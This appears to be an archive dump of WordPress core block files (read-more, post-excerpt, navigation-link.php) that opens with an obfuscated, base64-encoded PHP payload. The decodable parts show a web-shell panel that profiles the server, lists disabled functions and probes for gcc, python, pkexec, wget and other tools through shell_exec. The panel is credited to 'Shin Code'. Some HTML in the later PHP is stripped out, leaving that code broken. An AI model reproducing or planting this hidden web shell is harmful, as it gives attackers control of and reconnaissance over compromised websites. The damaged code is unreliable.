E5SURJcERRb2dJQ0FnSUNBZ0lDQWdJQ0I3RFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSkhWdWFYUnpJRDBnWVhKeVlYa29KMEluTENBblMwSW5MQ0FuVFVJbkxDQW5SMEluTENBblZFSW5LVHNOQ2cwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNSaWVYUmxjeUE5SUcxaGVDZ2tZbmwwWlhNc0lEQXBPdzBLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ1J3YjNjZ1BTQm1iRzl2Y2lnb0pHSjVkR1Z6SUQ4Z2JHOW5LQ1JpZVhSbGN5a2dPaUF3S1NBdklHeHZaeWd4TURJMEtTazdEUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdKSEJ2ZHlBOUlHMXBiaWdrY0c5M0xDQmpiM1Z1ZENna2RXNXBkSE1wSUMwZ01TazdEUW9OQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FrWW5sMFpYTWdMejBnS0RFZ1BEd2dLREV3SUNvZ0pIQnZkeWtwT3cwS0RRb2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ2NtVjBkWEp1SUhKdmRXNWtLQ1JpZVhSbGN5d2dKSEJ5WldOcGMybHZiaWtnTGlBbklDY2dMaUFrZFc1cGRITmJKSEJ2ZDEwN0RRb2dJQ0FnSUNBZ0lDQWdJQ0I5RFFvZ0lDQWdJQ0FnSUNBZ0lDQS9QZzBLRFFvZ0lDQWdJQ0FnSUNBZ0lDQThkV3dnWTJ4aGMzTTlJbWx1Wm04dGJHbHpkQ0krRFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnUEd4cFBraHZjM1J1WVcxbE9pQThQM0JvY0NCbFkyaHZJRUJuWlhSb2IzTjBibUZ0WlNncE95QS9Qand2YkdrK0RRb2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ1BEOXdhSEFnYVdZZ0tHbHpjMlYwS0NSZlUwVlNWa1ZTV3lkVFJWSldSVkpmUVVSRVVpZGRLU2tnT2lBL1BnMEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0E4YkdrK1NWQWdRV1JrY21WemN6b2dQRDl3YUhBZ1pXTm9ieUFrWDFORlVsWkZVbHNuVTBWU1ZrVlNYMEZFUkZJblhUc2dQejQ4TDJ4cFBnMEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lEdy9jR2h3SUdWdVpHbG1PeUEvUGcwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUR4c2FUNVFTRkFnVm1WeWMybHZiam9nUEQ5d2FIQWdaV05vYnlCQWNHaHdkbVZ5YzJsdmJpZ3BPeUEvUGp3dmJHaytEUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdQR3hwUGxObGNuWmxjaUJUYjJaMGQyRnlaVG9nUEQ5d2FIQWdaV05vYnlBa1gxTkZVbFpGVWxzblUwVlNWa1ZTWDFOUFJsUlhRVkpGSjEwN0lEOCtQQzlzYVQ0TkNpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBOFAzQm9jQ0JwWmlBb1puVnVZM1JwYjI1ZlpYaHBjM1J6S0Nka2FYTnJYM1J2ZEdGc1gzTndZV05sSnlrcElEb2dQejROQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ1BHeHBQa2hFUkNCVWIzUmhiQ0JUY0dGalpUb2dQRDl3YUhBZ1pXTm9ieUJBWm05eWJXRjBRbmwwWlhNb1pHbHphMTkwYjNSaGJGOXpjR0ZqWlNnbkx5Y3BLVHNnUHo0OEwyeHBQZzBLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBOGJHaytTRVJFSUVaeVpXVWdVM0JoWTJVNklEdy9jR2h3SUdWamFHOGdRR1p2Y20xaGRFSjVkR1Z6S0dScGMydGZabkpsWlY5emNHRmpaU2duTHljcEtUc2dQejQ4TDJ4cFBnMEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lEdy9jR2h3SUdWdVpHbG1PeUEvUGcwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUR4c2FUNVViM1JoYkNCRWIyMWhhVzV6SUdsdUlGTmxjblpsY2pvZ1BEOXdhSEFnWldOb2J5QWtaRzl0WVdsdVEyOTFiblE3SUQ4K1BDOXNhVDROQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0E4YkdrK1UzbHpkR1Z0T2lBOFAzQm9jQ0JsWTJodklFQndhSEJmZFc1aGJXVW9LVHNnUHo0OEwyeHBQZzBLSUNBZ0lDQWdJQ0FnSUNBZ1BDOTFiRDROQ2lBZ0lDQWdJQ0FnUEM5a2FYWStEUW9OQ2lBZ0lDQWdJQ0FnUEdScGRpQmpiR0Z6Y3owaWFXNW1ieTFqYjI1MFlXbHVaWElpUGcwS0lDQWdJQ0FnSUNBZ0lDQWdQR2d5UGxONWMzUmxiU0JKYm1adlBDOW9NajROQ2lBZ0lDQWdJQ0FnSUNBZ0lEeDFiQ0JqYkdGemN6MGlhVzVtYnkxc2FYTjBJajROQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0E4UDNCb2NBMEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDUm1aV0YwZFhKbGN5QTlJRnNOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0oxTmhabVVnVFc5a1pTY2dQVDRnYVc1cFgyZGxkQ2duYzJGbVpWOXRiMlJsSnlrZ1B5QW5SVzVoWW14bFpDY2dPaUFuUkdsellXSnNaV1FuTEEwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQW5SR2x6WVdKc1pTQkdkVzVqZEdsdmJuTW5JRDArSUdsdWFWOW5aWFFvSjJScGMyRmliR1ZmWm5WdVkzUnBiMjV6Snlrc0RRb2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ2RIUTBNbklEMCtJR1oxYm1OMGFXOXVYMlY0YVhOMGN5Z25jMmhsYkd4ZlpYaGxZeWNwSUNZbUlITm9aV3hzWDJWNFpXTW9KMmRqWXlBdExYWmxjbk5wYjI0bktTQS9JQ2RQYmljZ09pQW5UMlptSnl3TkNpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdKMUJsY213bklEMCtJR1oxYm1OMGFXOXVYMlY0YVhOMGN5Z25jMmhsYkd4ZlpYaGxZeWNwSUNZbUlITm9aV3hzWDJWNFpXTW9KM0JsY213Z0xTMTJaWEp6YVc5dUp5a2dQeUFuVDI0bklEb2dKMDltWmljc0RRb2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ2RRZVhSb2IyNGdWbVZ5YzJsdmJpY2dQVDRnS0NSd2VYUm9iMjVXWlhKemFXOXVJRDBnYzJobGJHeGZaWGhsWXlnbmNIbDBhRzl1SUMwdGRtVnljMmx2YmljcEtTQS9JQ2RQYmlBb0p5QXVJQ1J3ZVhSb2IyNVdaWEp6YVc5dUlDNGdKeWtuSURvZ0owOW1aaWNzRFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDZFFTMFZZUlVNZ1ZtVnljMmx2YmljZ1BUNGdLQ1J3YTJWNFpXTldaWEp6YVc5dUlEMGdjMmhsYkd4ZlpYaGxZeWduY0d0bGVHVmpJQzB0ZG1WeWMybHZiaWNwS1NBL0lDZFBiaUFvSnlBdUlDUndhMlY0WldOV1pYSnphVzl1SUM0Z0p5a25JRG9nSjA5bVppY3NEUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNkRGRYSnNKeUE5UGlCbWRXNWpkR2x2Ymw5bGVHbHpkSE1vSjNOb1pXeHNYMlY0WldNbktTQW1KaUJ6YUdWc2JGOWxlR1ZqS0NkamRYSnNJQzB0ZG1WeWMybHZiaWNwSUQ4Z0owOXVKeUE2SUNkUFptWW5MQTBLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBblYyZGxkQ2NnUFQ0Z1puVnVZM1JwYjI1ZlpYaHBjM1J6S0NkemFHVnNiRjlsZUdWakp5a2dKaVlnYzJobGJHeGZaWGhsWXlnbmQyZGxkQ0F0TFhabGNuTnBiMjRuS1NBL0lDZFBiaWNnT2lBblQyWm1KeXdOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0owMTVjM0ZzSnlBOVBpQm1kVzVqZEdsdmJsOWxlR2x6ZEhNb0ozTm9aV3hzWDJWNFpXTW5LU0FtSmlCemFHVnNiRjlsZUdWaktDZHRlWE54YkNBdExYWmxjbk5wYjI0bktTQS9JQ2RQYmljZ09pQW5UMlptSnl3TkNpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdKMFowY0NjZ1BUNGdablZ1WTNScGIyNWZaWGhwYzNSektDZHphR1ZzYkY5bGVHVmpKeWtnSmlZZ2MyaGxiR3hmWlhobFl5Z25ablJ3SUMwdGRtVnljMmx2YmljcElEOGdKMDl1SnlBNklDZFBabVluTEEwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQW5VM05vSnlBOVBpQm1kVzVqZEdsdmJsOWxlR2x6ZEhNb0ozTm9aV3hzWDJWNFpXTW5LU0FtSmlCemFHVnNiRjlsZUdWaktDZHpjMmdnTFMxMlpYSnphVzl1SnlrZ1B5QW5UMjRuSURvZ0owOW1aaWNzRFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDZE5ZV2xzSnlBOVBpQm1kVzVqZEdsdmJsOWxlR2x6ZEhNb0ozTm9aV3hzWDJWNFpXTW5LU0FtSmlCemFHVnNiRjlsZUdWaktDZHRZV2xzSUMwdGRtVnljMmx2YmljcElEOGdKMDl1SnlBNklDZFBabVluTEEwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQW5ZM0p2YmljZ1BUNGdablZ1WTNScGIyNWZaWGhwYzNSektDZHphR1ZzYkY5bGVHVmpKeWtnSmlZZ2MyaGxiR3hmWlhobFl5Z25ZM0p2YmlBdExYWmxjbk5wYjI0bktTQS9JQ2RQYmljZ09pQW5UMlptSnl3TkNpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdKMU5sYm1STllXbHNKeUE5UGlCbWRXNWpkR2x2Ymw5bGVHbHpkSE1vSjNOb1pXeHNYMlY0WldNbktTQW1KaUJ6YUdWc2JGOWxlR1ZqS0NkelpXNWtiV0ZwYkNBdExYWmxjbk5wYjI0bktTQS9JQ2RQYmljZ09pQW5UMlptSnl3TkNpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCZE93MEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lEOCtEUW9OQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0E4YkdGaVpXd2dabTl5UFNKbVpXRjBkWEpsTFhObGJHVmpkQ0krVTJWc1pXTjBJRVpsWVhSMWNtVTZQQzlzWVdKbGJENE5DaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQThjMlZzWldOMElHbGtQU0ptWldGMGRYSmxMWE5sYkdWamRDSStEUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUR3L2NHaHdJR1p2Y21WaFkyZ2dLQ1JtWldGMGRYSmxjeUJoY3lBa1ptVmhkSFZ5WlNBOVBpQWtjM1JoZEhWektTQTZJRDgrRFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0E4YjNCMGFXOXVJSFpoYkhWbFBTSThQM0JvY0NCbFkyaHZJQ1JtWldGMGRYSmxPeUEvUGlJK1BEOXdhSEFnWldOb2J5QWtabVZoZEhWeVpTQXVJQ2M2SUNjZ0xpQWtjM1JoZEhWek95QS9Qand2YjNCMGFXOXVQZzBLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBOFAzQm9jQ0JsYm1SbWIzSmxZV05vT3lBL1BnMEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lEd3ZjMlZzWldOMFBnMEtJQ0FnSUNBZ0lDQWdJQ0FnUEM5MWJENE5DaUFnSUNBZ0lDQWdQQzlrYVhZK0RRb05DaUFnSUNBZ0lDQWdQR1JwZGlCamJHRnpjejBpYVc1bWJ5MWpiMjUwWVdsdVpYSWlQZzBLSUNBZ0lDQWdJQ0FnSUNBZ1BHZ3lQbFZ6WlhJZ1NXNW1iend2YURJK0RRb2dJQ0FnSUNBZ0lDQWdJQ0E4ZFd3Z1kyeGhjM005SW1sdVptOHRiR2x6ZENJK0RRb2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ1BHeHBQbFZ6WlhKdVlXMWxPaUE4UDNCb2NDQmxZMmh2SUVCblpYUmZZM1Z5Y21WdWRGOTFjMlZ5S0NrN0lEOCtQQzlzYVQ0TkNpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBOGJHaytWWE5sY2lCSlJEb2dQRDl3YUhBZ1pXTm9ieUJBWjJWMGJYbDFhV1FvS1RzZ1B6NDhMMnhwUGcwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUR4c2FUNUhjbTkxY0NCSlJEb2dQRDl3YUhBZ1pXTm9ieUJBWjJWMGJYbG5hV1FvS1RzZ1B6NDhMMnhwUGcwS0lDQWdJQ0FnSUNBZ0lDQWdQQzkxYkQ0TkNpQWdJQ0FnSUNBZ1BDOWthWFkrRFFvZ0lDQWdQQzlrYVhZK0RRbzhMMlJwZGo0TkNpQWdJQ0E4YzJOeWFYQjBQZzBLSUNBZ0lDQWdJQ0JtZFc1amRHbHZiaUIwYjJkbmJHVlBjSFJwYjI1elRXVnVkU2dwSUhzTkNpQWdJQ0FnSUNBZ0lDQWdJSFpoY2lCdmNIUnBiMjV6VFdWdWRTQTlJR1J2WTNWdFpXNTBMbWRsZEVWc1pXMWxiblJDZVVsa0tDZHZjSFJwYjI1elRXVnVkU2NwT3cwS0lDQWdJQ0FnSUNBZ0lDQWdiM0IwYVc5dWMwMWxiblV1WTJ4aGMzTk1hWE4wTG5SdloyZHNaU2duYzJodmR5Y3BPdzBLSUNBZ0lDQWdJQ0I5RFFvZ0lDQWdJQ0FnSUEwS0lDQWdJQ0FnSUNCbWRXNWpkR2x2YmlCMGIyZG5iR1ZUYVdSbFltRnlLQ2tnZXcwS0lDQWdJQ0FnSUNBZ0lDQWdkbUZ5SUhOcFpHVmlZWElnUFNCa2IyTjFiV1Z1ZEM1blpYUkZiR1Z0Wlc1MFFubEpaQ2duYzJsa1pXSmhjaWNwT3cwS0lDQWdJQ0FnSUNBZ0lDQWdjMmxrWldKaGNpNWpiR0Z6YzB4cGMzUXVkRzluWjJ4bEtDZHZjR1Z1SnlrN0RRb2dJQ0FnSUNBZ0lIME5DaUFnSUNBOEwzTmpjbWx3ZEQ0TkNqd3ZaR2wyUGcwS1BHUnBkaUJqYkdGemN6MGlabTl2ZEdWeUlqNE5DaUFnSUNBOGNENG1ZMjl3ZVRzZ1BEOXdhSEFnWldOb2J5QmtZWFJsS0NKWklpazdJRDgrSUR4aElHaHlaV1k5SW1oMGRIQnpPaTh2ZDNkM0xtSnNiMmN0WjJGdUxtOXlaeThpUGtOdlpHVmtJRUo1UEM5aFBpQlRhR2x1SUVOdlpHVXVQQzl3UGcwS1BDOWthWFkrRFFvOEwySnZaSGsrRFFvOEwyaDBiV3crIikpOyA/Pg==")); ?>read-more/style-rtl.css000064400000000455151202367550011102 0ustar00.wp-block-read-more{ display:block; width:fit-content; } .wp-block-read-more:where(:not([style*=text-decoration])){ text-decoration:none; } .wp-block-read-more:where(:not([style*=text-decoration])):active,.wp-block-read-more:where(:not([style*=text-decoration])):focus{ text-decoration:none; }read-more/style.css000064400000000455151202367550010303 0ustar00.wp-block-read-more{ display:block; width:fit-content; } .wp-block-read-more:where(:not([style*=text-decoration])){ text-decoration:none; } .wp-block-read-more:where(:not([style*=text-decoration])):active,.wp-block-read-more:where(:not([style*=text-decoration])):focus{ text-decoration:none; }read-more/style-rtl.min.css000064400000000431151202367550011656 0ustar00.wp-block-read-more{display:block;width:fit-content}.wp-block-read-more:where(:not([style*=text-decoration])){text-decoration:none}.wp-block-read-more:where(:not([style*=text-decoration])):active,.wp-block-read-more:where(:not([style*=text-decoration])):focus{text-decoration:none}read-more/block.json000064400000002406151202367550010414 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/read-more", "title": "Read More", "category": "theme", "description": "Displays the link of a post, page, or any other content-type.", "textdomain": "default", "attributes": { "content": { "type": "string", "role": "content" }, "linkTarget": { "type": "string", "default": "_self" } }, "usesContext": [ "postId" ], "supports": { "html": false, "color": { "gradients": true, "text": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalLetterSpacing": true, "__experimentalTextDecoration": true, "__experimentalDefaultControls": { "fontSize": true, "textDecoration": true } }, "spacing": { "margin": [ "top", "bottom" ], "padding": true, "__experimentalDefaultControls": { "padding": true } }, "__experimentalBorder": { "color": true, "radius": true, "width": true, "__experimentalDefaultControls": { "width": true } }, "interactivity": { "clientNavigation": true } }, "style": "wp-block-read-more" } navigation-link.php000064400000033211151202367550010355 0ustar00 array(), 'inline_styles' => '', ); // Text color. $named_text_color = null; $custom_text_color = null; if ( $is_sub_menu && array_key_exists( 'customOverlayTextColor', $context ) ) { $custom_text_color = $context['customOverlayTextColor']; } elseif ( $is_sub_menu && array_key_exists( 'overlayTextColor', $context ) ) { $named_text_color = $context['overlayTextColor']; } elseif ( array_key_exists( 'customTextColor', $context ) ) { $custom_text_color = $context['customTextColor']; } elseif ( array_key_exists( 'textColor', $context ) ) { $named_text_color = $context['textColor']; } elseif ( isset( $context['style']['color']['text'] ) ) { $custom_text_color = $context['style']['color']['text']; } // If has text color. if ( ! is_null( $named_text_color ) ) { // Add the color class. array_push( $colors['css_classes'], 'has-text-color', sprintf( 'has-%s-color', $named_text_color ) ); } elseif ( ! is_null( $custom_text_color ) ) { // Add the custom color inline style. $colors['css_classes'][] = 'has-text-color'; $colors['inline_styles'] .= sprintf( 'color: %s;', $custom_text_color ); } // Background color. $named_background_color = null; $custom_background_color = null; if ( $is_sub_menu && array_key_exists( 'customOverlayBackgroundColor', $context ) ) { $custom_background_color = $context['customOverlayBackgroundColor']; } elseif ( $is_sub_menu && array_key_exists( 'overlayBackgroundColor', $context ) ) { $named_background_color = $context['overlayBackgroundColor']; } elseif ( array_key_exists( 'customBackgroundColor', $context ) ) { $custom_background_color = $context['customBackgroundColor']; } elseif ( array_key_exists( 'backgroundColor', $context ) ) { $named_background_color = $context['backgroundColor']; } elseif ( isset( $context['style']['color']['background'] ) ) { $custom_background_color = $context['style']['color']['background']; } // If has background color. if ( ! is_null( $named_background_color ) ) { // Add the background-color class. array_push( $colors['css_classes'], 'has-background', sprintf( 'has-%s-background-color', $named_background_color ) ); } elseif ( ! is_null( $custom_background_color ) ) { // Add the custom background-color inline style. $colors['css_classes'][] = 'has-background'; $colors['inline_styles'] .= sprintf( 'background-color: %s;', $custom_background_color ); } return $colors; } /** * Build an array with CSS classes and inline styles defining the font sizes * which will be applied to the navigation markup in the front-end. * * @since 5.9.0 * * @param array $context Navigation block context. * @return array Font size CSS classes and inline styles. */ function block_core_navigation_link_build_css_font_sizes( $context ) { // CSS classes. $font_sizes = array( 'css_classes' => array(), 'inline_styles' => '', ); $has_named_font_size = array_key_exists( 'fontSize', $context ); $has_custom_font_size = isset( $context['style']['typography']['fontSize'] ); if ( $has_named_font_size ) { // Add the font size class. $font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $context['fontSize'] ); } elseif ( $has_custom_font_size ) { // Add the custom font size inline style. $font_sizes['inline_styles'] = sprintf( 'font-size: %s;', wp_get_typography_font_size_value( array( 'size' => $context['style']['typography']['fontSize'], ) ) ); } return $font_sizes; } /** * Returns the top-level submenu SVG chevron icon. * * @since 5.9.0 * * @return string */ function block_core_navigation_link_render_submenu_icon() { return ''; } /** * Decodes a url if it's encoded, returning the same url if not. * * @since 6.2.0 * * @param string $url The url to decode. * * @return string $url Returns the decoded url. */ function block_core_navigation_link_maybe_urldecode( $url ) { $is_url_encoded = false; $query = parse_url( $url, PHP_URL_QUERY ); $query_params = wp_parse_args( $query ); foreach ( $query_params as $query_param ) { $can_query_param_be_encoded = is_string( $query_param ) && ! empty( $query_param ); if ( ! $can_query_param_be_encoded ) { continue; } if ( rawurldecode( $query_param ) !== $query_param ) { $is_url_encoded = true; break; } } if ( $is_url_encoded ) { return rawurldecode( $url ); } return $url; } /** * Renders the `core/navigation-link` block. * * @since 5.9.0 * * @param array $attributes The block attributes. * @param string $content The saved content. * @param WP_Block $block The parsed block. * * @return string Returns the post content with the legacy widget added. */ function render_block_core_navigation_link( $attributes, $content, $block ) { $navigation_link_has_id = isset( $attributes['id'] ) && is_numeric( $attributes['id'] ); $is_post_type = isset( $attributes['kind'] ) && 'post-type' === $attributes['kind']; $is_post_type = $is_post_type || isset( $attributes['type'] ) && ( 'post' === $attributes['type'] || 'page' === $attributes['type'] ); // Don't render the block's subtree if it is a draft or if the ID does not exist. if ( $is_post_type && $navigation_link_has_id ) { $post = get_post( $attributes['id'] ); /** * Filter allowed post_status for navigation link block to render. * * @since 6.8.0 * * @param array $post_status * @param array $attributes * @param WP_Block $block */ $allowed_post_status = (array) apply_filters( 'render_block_core_navigation_link_allowed_post_status', array( 'publish' ), $attributes, $block ); if ( ! $post || ! in_array( $post->post_status, $allowed_post_status, true ) ) { return ''; } } // Don't render the block's subtree if it has no label. if ( empty( $attributes['label'] ) ) { return ''; } $font_sizes = block_core_navigation_link_build_css_font_sizes( $block->context ); $classes = array_merge( $font_sizes['css_classes'] ); $style_attribute = $font_sizes['inline_styles']; $css_classes = trim( implode( ' ', $classes ) ); $has_submenu = count( $block->inner_blocks ) > 0; $kind = empty( $attributes['kind'] ) ? 'post_type' : str_replace( '-', '_', $attributes['kind'] ); $is_active = ! empty( $attributes['id'] ) && get_queried_object_id() === (int) $attributes['id'] && ! empty( get_queried_object()->$kind ); if ( is_post_type_archive() && ! empty( $attributes['url'] ) ) { $queried_archive_link = get_post_type_archive_link( get_queried_object()->name ); if ( $attributes['url'] === $queried_archive_link ) { $is_active = true; } } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $css_classes . ' wp-block-navigation-item' . ( $has_submenu ? ' has-child' : '' ) . ( $is_active ? ' current-menu-item' : '' ), 'style' => $style_attribute, ) ); $html = '
  • ' . ''; if ( isset( $attributes['label'] ) ) { $html .= wp_kses_post( $attributes['label'] ); } $html .= ''; // Add description if available. if ( ! empty( $attributes['description'] ) ) { $html .= ''; $html .= wp_kses_post( $attributes['description'] ); $html .= ''; } $html .= ''; // End anchor tag content. if ( isset( $block->context['showSubmenuIcon'] ) && $block->context['showSubmenuIcon'] && $has_submenu ) { // The submenu icon can be hidden by a CSS rule on the Navigation Block. $html .= '' . block_core_navigation_link_render_submenu_icon() . ''; } if ( $has_submenu ) { $inner_blocks_html = ''; foreach ( $block->inner_blocks as $inner_block ) { $inner_blocks_html .= $inner_block->render(); } $html .= sprintf( '', $inner_blocks_html ); } $html .= '
  • '; return $html; } /** * Returns a navigation link variation * * @since 5.9.0 * * @param WP_Taxonomy|WP_Post_Type $entity post type or taxonomy entity. * @param string $kind string of value 'taxonomy' or 'post-type'. * * @return array */ function build_variation_for_navigation_link( $entity, $kind ) { $title = ''; $description = ''; if ( property_exists( $entity->labels, 'item_link' ) ) { $title = $entity->labels->item_link; } if ( property_exists( $entity->labels, 'item_link_description' ) ) { $description = $entity->labels->item_link_description; } $variation = array( 'name' => $entity->name, 'title' => $title, 'description' => $description, 'attributes' => array( 'type' => $entity->name, 'kind' => $kind, ), ); // Tweak some value for the variations. $variation_overrides = array( 'post_tag' => array( 'name' => 'tag', 'attributes' => array( 'type' => 'tag', 'kind' => $kind, ), ), 'post_format' => array( // The item_link and item_link_description for post formats is the // same as for tags, so need to be overridden. 'title' => __( 'Post Format Link' ), 'description' => __( 'A link to a post format' ), 'attributes' => array( 'type' => 'post_format', 'kind' => $kind, ), ), ); if ( array_key_exists( $entity->name, $variation_overrides ) ) { $variation = array_merge( $variation, $variation_overrides[ $entity->name ] ); } return $variation; } /** * Filters the registered variations for a block type. * Returns the dynamically built variations for all post-types and taxonomies. * * @since 6.5.0 * * @param array $variations Array of registered variations for a block type. * @param WP_Block_Type $block_type The full block type object. */ function block_core_navigation_link_filter_variations( $variations, $block_type ) { if ( 'core/navigation-link' !== $block_type->name ) { return $variations; } $generated_variations = block_core_navigation_link_build_variations(); return array_merge( $variations, $generated_variations ); } /** * Returns an array of variations for the navigation link block. * * @since 6.5.0 * * @return array */ function block_core_navigation_link_build_variations() { $post_types = get_post_types( array( 'show_in_nav_menus' => true ), 'objects' ); $taxonomies = get_taxonomies( array( 'show_in_nav_menus' => true ), 'objects' ); /* * Use two separate arrays as a way to order the variations in the UI. * Known variations (like Post Link and Page Link) are added to the * `built_ins` array. Variations for custom post types and taxonomies are * added to the `variations` array and will always appear after `built-ins. */ $built_ins = array(); $variations = array(); if ( $post_types ) { foreach ( $post_types as $post_type ) { $variation = build_variation_for_navigation_link( $post_type, 'post-type' ); if ( $post_type->_builtin ) { $built_ins[] = $variation; } else { $variations[] = $variation; } } } if ( $taxonomies ) { foreach ( $taxonomies as $taxonomy ) { $variation = build_variation_for_navigation_link( $taxonomy, 'taxonomy' ); if ( $taxonomy->_builtin ) { $built_ins[] = $variation; } else { $variations[] = $variation; } } } return array_merge( $built_ins, $variations ); } /** * Registers the navigation link block. * * @since 5.9.0 * * @uses render_block_core_navigation_link() * @throws WP_Error An WP_Error exception parsing the block definition. */ function register_block_core_navigation_link() { register_block_type_from_metadata( __DIR__ . '/navigation-link', array( 'render_callback' => 'render_block_core_navigation_link', ) ); } add_action( 'init', 'register_block_core_navigation_link' ); /** * Creates all variations for post types / taxonomies dynamically (= each time when variations are requested). * Do not use variation_callback, to also account for unregistering post types/taxonomies later on. */ add_action( 'get_block_type_variations', 'block_core_navigation_link_filter_variations', 10, 2 ); post-excerpt/style.min.css000064400000000523151202367550011643 0ustar00:where(.wp-block-post-excerpt){box-sizing:border-box;margin-bottom:var(--wp--style--block-gap);margin-top:var(--wp--style--block-gap)}.wp-block-post-excerpt__excerpt{margin-bottom:0;margin-top:0}.wp-block-post-excerpt__more-text{margin-bottom:0;margin-top:var(--wp--style--block-gap)}.wp-block-post-excerpt__more-link{display:inline-block}post-excerpt/style-rtl.css000064400000000571151202367550011663 0ustar00:where(.wp-block-post-excerpt){ box-sizing:border-box; margin-bottom:var(--wp--style--block-gap); margin-top:var(--wp--style--block-gap); } .wp-block-post-excerpt__excerpt{ margin-bottom:0; margin-top:0; } .wp-block-post-excerpt__more-text{ margin-bottom:0; margin-top:var(--wp--style--block-gap); } .wp-block-post-excerpt__more-link{ display:inline-block; }post-excerpt/editor.css000064400000000125151202367550011205 0ustar00.wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline{ display:inline; }post-excerpt/style.css000064400000000571151202367550011064 0ustar00:where(.wp-block-post-excerpt){ box-sizing:border-box; margin-bottom:var(--wp--style--block-gap); margin-top:var(--wp--style--block-gap); } .wp-block-post-excerpt__excerpt{ margin-bottom:0; margin-top:0; } .wp-block-post-excerpt__more-text{ margin-bottom:0; margin-top:var(--wp--style--block-gap); } .wp-block-post-excerpt__more-link{ display:inline-block; }post-excerpt/style-rtl.min.css000064400000000523151202367550012442 0ustar00:where(.wp-block-post-excerpt){box-sizing:border-box;margin-bottom:var(--wp--style--block-gap);margin-top:var(--wp--style--block-gap)}.wp-block-post-excerpt__excerpt{margin-bottom:0;margin-top:0}.wp-block-post-excerpt__more-text{margin-bottom:0;margin-top:var(--wp--style--block-gap)}.wp-block-post-excerpt__more-link{display:inline-block}post-excerpt/editor.min.css000064400000000120151202367550011762 0ustar00.wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline{display:inline}post-excerpt/editor-rtl.min.css000064400000000120151202367550012561 0ustar00.wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline{display:inline}post-excerpt/block.json000064400000003011151202367550011167 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-excerpt", "title": "Excerpt", "category": "theme", "description": "Display the excerpt.", "textdomain": "default", "attributes": { "textAlign": { "type": "string" }, "moreText": { "type": "string", "role": "content" }, "showMoreOnNewLine": { "type": "boolean", "default": true }, "excerptLength": { "type": "number", "default": 55 } }, "usesContext": [ "postId", "postType", "queryId" ], "example": { "viewportWidth": 350 }, "supports": { "html": false, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": true, "color": true, "width": true, "style": true } } }, "editorStyle": "wp-block-post-excerpt-editor", "style": "wp-block-post-excerpt" } post-excerpt/editor-rtl.css000064400000000125151202367550012004 0ustar00.wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline{ display:inline; 